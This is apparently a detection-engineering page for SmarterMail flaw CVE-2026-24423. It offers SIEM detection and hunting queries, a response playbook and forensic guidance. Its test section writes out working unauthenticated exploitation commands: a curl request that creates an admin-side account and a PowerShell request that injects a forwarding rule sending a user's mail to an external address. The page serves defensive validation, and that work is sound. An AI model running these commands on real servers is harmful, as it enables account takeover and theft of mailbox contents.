CVE-2026-24423

SmarterMail Missing Authentication for Critical Function (CVE-2026-24423)

Initial Access Persistence Privilege Escalation Last updated:

Detects exploitation of CVE-2026-24423, a missing authentication vulnerability (CWE-306) in SmarterTools SmarterMail. This KEV-listed vulnerability allows unauthenticated attackers to access critical functions in SmarterMail, potentially enabling unauthorized administrative access, data exfiltration, or further lateral movement. Detection focuses on unauthenticated access patterns to administrative and critical API endpoints.

Vulnerability Intelligence

KEV — Known Exploited

Affected Software

Vendor
SmarterTools
Product
SmarterMail

Weakness (CWE)

CWE-306

Timeline

Disclosed
February 5, 2026

CVSS

9.8
Critical (9.0–10)

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Write-up coming soon

What is CVE-2026-24423 SmarterMail Missing Authentication for Critical Function (CVE-2026-24423)?

SmarterMail Missing Authentication for Critical Function (CVE-2026-24423) (CVE-2026-24423) maps to the Initial Access and Persistence and Privilege Escalation tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for SmarterMail Missing Authentication for Critical Function (CVE-2026-24423), covering the data sources and telemetry it touches: IIS Logs, Azure Application Gateway Logs, Windows Event Logs. The queries below are rated critical severity at medium confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Persistence Privilege Escalation
Microsoft Sentinel / Defender
kusto 
union isfuzzy=true
(
  W3CIISLog
  | where csUriStem has_any ("/api/", "/admin/", "/settings/", "/interface/", "/services/")
  | where csMethod in ("POST", "PUT", "DELETE", "PATCH")
  | where isempty(csUsername) or csUsername == "-"
  | where scStatus in (200, 201, 204, 302)
  | extend AuthBypass = true
),
(
  AzureDiagnostics
  | where ResourceType == "APPLICATIONGATEWAYS"
  | where requestUri_s has_any ("/api/", "/admin/", "/settings/", "/interface/")
  | where httpMethod_s in ("POST", "PUT", "DELETE")
  | where userAgent_s !has "Mozilla" or isempty(userAgent_s)
)
| extend SmarterMailServer = Computer
| project TimeGenerated, SmarterMailServer, csClientIP, csUriStem, csMethod, scStatus, csUsername, csUserAgent
| where TimeGenerated > ago(1h)

Detects unauthenticated HTTP requests to SmarterMail critical API and administrative endpoints. Focuses on state-changing methods (POST/PUT/DELETE) with missing or null authentication context returning success status codes.

critical severity medium confidence

Data Sources

IIS Logs Azure Application Gateway Logs Windows Event Logs

Required Tables

W3CIISLog AzureDiagnostics

False Positives

  • Health check services or monitoring tools polling SmarterMail endpoints without authentication headers
  • Internal automation scripts that access SmarterMail APIs using service accounts that may log differently
  • Misconfigured reverse proxies that strip authentication headers before forwarding to SmarterMail

Sigma rule & cross-platform mapping

The detection logic for SmarterMail Missing Authentication for Critical Function (CVE-2026-24423) (CVE-2026-24423) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource: 

logsource:
  product: azure

Browse the community-maintained Sigma rules for this technique:

SigmaHQ rules for CVE-2026-24423 Sigma rules on detection.fyi

Platform-specific guides for CVE-2026-24423

Detect in Microsoft Sentinel (KQL) Detect in Splunk (SPL) Detect in Elastic Security (Elastic) Detect in IBM QRadar (QRadar) Detect in Sumo Logic CSE (Sumo) Detect in Google Chronicle (YARA-L) Detect in CrowdStrike LogScale (LogScale)
Last updated: 2026-06-19 Research depth: standard
References (3)

Testing Methodology

Validate this detection against 3 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Unauthenticated GET to SmarterMail Admin API Endpoint

    Expected signal: IIS access log entry with csUsername='-', cs-method=GET, sc-status=200, cs-uri-stem=/api/v1/settings/sysadmin/general

  2. Test 2Unauthenticated POST to SmarterMail User Creation Endpoint

    Expected signal: IIS log: csMethod=POST, csUriStem=/api/v1/settings/sysadmin/users, csUsername=-, scStatus=200 or 201. SmarterMail app log: new user creation event for [email protected]

  3. Test 3Unauthenticated SmarterMail Mail Forwarding Rule Injection

    Expected signal: IIS log entry: POST to /api/v1/settings/sysadmin/users/[email protected]/forwardingRules with csUsername='-' and scStatus=200. SmarterMail audit log: forwarding rule added for [email protected] pointing to external domain.

Response Playbook

Triage

  1. Identify the source IP(s) making unauthenticated requests to SmarterMail endpoints and determine if the IP is external, internal, or a known service/integration.
  2. Review IIS access logs on the SmarterMail server for the specific endpoints accessed, HTTP methods used, and response bodies if logging is configured — look for indicators of successful administrative function execution (e.g., user creation, setting changes, mail forwarding rules added).
  3. Check SmarterMail application logs (typically under SmarterMail installation directory under /Logs/) for any corresponding server-side events matching the timeframe — look for administrative actions, new account creation, or configuration changes.
  4. Correlate the source IP against threat intelligence feeds and determine if it appears in CISA KEV-related IoC lists or prior SmarterMail exploitation campaigns.

Containment

  1. Immediately block the identified source IP(s) at the perimeter firewall or WAF level to prevent continued exploitation attempts against the SmarterMail server.
  2. If exploitation is confirmed, take the SmarterMail server offline or isolate it from external network access while patching is performed — notify affected mail users of the outage and estimated recovery time.
  3. Apply vendor patches from SmarterTools as detailed in release notes at https://www.smartertools.com/smartermail/release-notes/current and verify the fix resolves the authentication bypass for critical functions.

Evidence Collection

  1. Collect and preserve IIS access logs from the SmarterMail server covering at minimum 72 hours prior to detection, ensuring log integrity via hash verification before transfer to IR storage.
  2. Export SmarterMail application event logs, audit trails, and configuration files to capture any changes made during the exploitation window — document all user accounts, mail forwarding rules, and admin settings that may have been modified.

Escalation Criteria

  • ! Escalate immediately to CISO and IR team if evidence shows successful execution of critical administrative functions (user account creation, privilege escalation, data exfiltration of mailbox contents) by the unauthenticated attacker.
  • ! Escalate to legal and compliance teams if mailbox data has been accessed or exfiltrated, as this may trigger breach notification obligations under GDPR, HIPAA, or other applicable data protection regulations.

Investigation Guide

Forensic Artifacts

  • > IIS W3C log files located at %SystemDrive%\inetpub\logs\LogFiles\W3SVC* on the SmarterMail server, containing HTTP request records including unauthenticated admin endpoint accesses
  • > SmarterMail application logs under the SmarterMail installation directory (default: C:\Program Files (x86)\SmarterTools\SmarterMail\) containing server-side audit events for administrative actions
  • > Windows Event Log — Security channel (Event IDs 4624, 4625, 4672) for any associated logon events if the attacker pivoted from web exploitation to OS-level access
  • > Network packet captures from the SmarterMail server's NIC if available, providing full request/response payloads for the unauthenticated API calls

Tuning Guidance

Reduce false positives by enriching detections with the SmarterMail server's hostname or IP as a filter dimension to avoid triggering on unrelated IIS servers in the environment. Consider adding a whitelist of known monitoring tool IPs and internal service account source IPs. For high-volume environments, raise the request count threshold above 2-5 before alerting. Validate that IIS logging is configured to capture the cs-username field — if SmarterMail uses token-based auth that does not populate this field, the detection logic will need to be adapted to look for missing Authorization headers in cs(Authorization) IIS fields instead.

Hunting Queries

Broad hunting query to identify IPs making repeated unauthenticated requests to SmarterMail administrative and API paths, regardless of HTTP method or status code. Use to find low-and-slow reconnaissance patterns preceding active exploitation.

Hunting — KQL
kql 
W3CIISLog
| where csUriStem has_any ("/api/", "/admin/", "/settings/", "/interface/", "/services/")
| where isempty(csUsername) or csUsername == "-"
| summarize RequestCount = count(), Endpoints = make_set(csUriStem), StatusCodes = make_set(scStatus) by csClientIP, bin(TimeGenerated, 1h)
| where RequestCount > 5
| order by RequestCount desc
Hunting — SPL
spl 
index=iis sourcetype=iis
| search (uri_path="*/api/*" OR uri_path="*/admin/*" OR uri_path="*/settings/*")
| where isnull(cs_username) OR cs_username="-"
| stats count as hits, dc(uri_path) as unique_paths, values(status) as statuses by c_ip, date_hour
| where hits > 5
| sort -hits

Atomic Red Team Tests

Test 1 Unauthenticated GET to SmarterMail Admin API Endpoint
windows

Simulates reconnaissance by accessing a SmarterMail administrative REST API endpoint without any authentication credentials to confirm missing auth vulnerability exposure.

Command

powershell 
Invoke-WebRequest -Uri 'http://TARGET_SMARTERMAIL_HOST/api/v1/settings/sysadmin/general' -Method GET -UseBasicParsing | Select-Object StatusCode, Content

Cleanup

powershell 
No cleanup required — read-only probe

Expected Telemetry

IIS access log entry with csUsername='-', cs-method=GET, sc-status=200, cs-uri-stem=/api/v1/settings/sysadmin/general

Expected Detection

Alert triggered by unauthenticated successful GET to /api/ endpoint on SmarterMail IIS server

Test 2 Unauthenticated POST to SmarterMail User Creation Endpoint
linux

Simulates active exploitation by sending an unauthenticated POST request to a SmarterMail user management endpoint to test if account creation is possible without authentication.

Command

bash 
curl -s -X POST 'http://TARGET_SMARTERMAIL_HOST/api/v1/settings/sysadmin/users' -H 'Content-Type: application/json' -d '{"username":"testattacker","password":"P@ssw0rd123!","domain":"example.com"}' -o /tmp/sm_response.txt -w '%{http_code}'; cat /tmp/sm_response.txt

Cleanup

bash 
rm -f /tmp/sm_response.txt; If user was created, remove via authenticated admin session: curl -X DELETE 'http://TARGET_SMARTERMAIL_HOST/api/v1/settings/sysadmin/users/testattacker' -H 'Authorization: Bearer ADMIN_TOKEN'

Expected Telemetry

IIS log: csMethod=POST, csUriStem=/api/v1/settings/sysadmin/users, csUsername=-, scStatus=200 or 201. SmarterMail app log: new user creation event for [email protected]

Expected Detection

Alert triggered by unauthenticated POST to /api/ admin endpoint with 2xx response code

Test 3 Unauthenticated SmarterMail Mail Forwarding Rule Injection
windows

Simulates data exfiltration setup by injecting a mail forwarding rule via unauthenticated API access, a common post-exploitation step in BEC campaigns leveraging authentication bypass vulnerabilities.

Command

powershell 
$body = '{"emailAddress":"[email protected]","forwardTo":"[email protected]","deleteOnForward":false}'; Invoke-WebRequest -Uri 'http://TARGET_SMARTERMAIL_HOST/api/v1/settings/sysadmin/users/[email protected]/forwardingRules' -Method POST -Body $body -ContentType 'application/json' -UseBasicParsing | Select-Object StatusCode

Cleanup

powershell 
Remove the injected forwarding rule via authenticated admin API: Invoke-WebRequest -Uri 'http://TARGET_SMARTERMAIL_HOST/api/v1/settings/sysadmin/users/[email protected]/forwardingRules' -Method GET -Headers @{Authorization='Bearer ADMIN_TOKEN'} to enumerate, then DELETE the malicious rule

Expected Telemetry

IIS log entry: POST to /api/v1/settings/sysadmin/users/[email protected]/forwardingRules with csUsername='-' and scStatus=200. SmarterMail audit log: forwarding rule added for [email protected] pointing to external domain.

Expected Detection

Alert triggered by unauthenticated POST to SmarterMail user settings API path; secondary alert if forwardingRules endpoint specifically is monitored for unauthorized modification

Related Detections

Tactic Hubs

TA0001Initial AccessTA0003PersistenceTA0004Privilege Escalation

Related Techniques

T1190Exploit Public-Facing ApplicationT1078Valid AccountsT1548Abuse Elevation Control Mechanism

Same Tactic: Initial Access

Popular Detections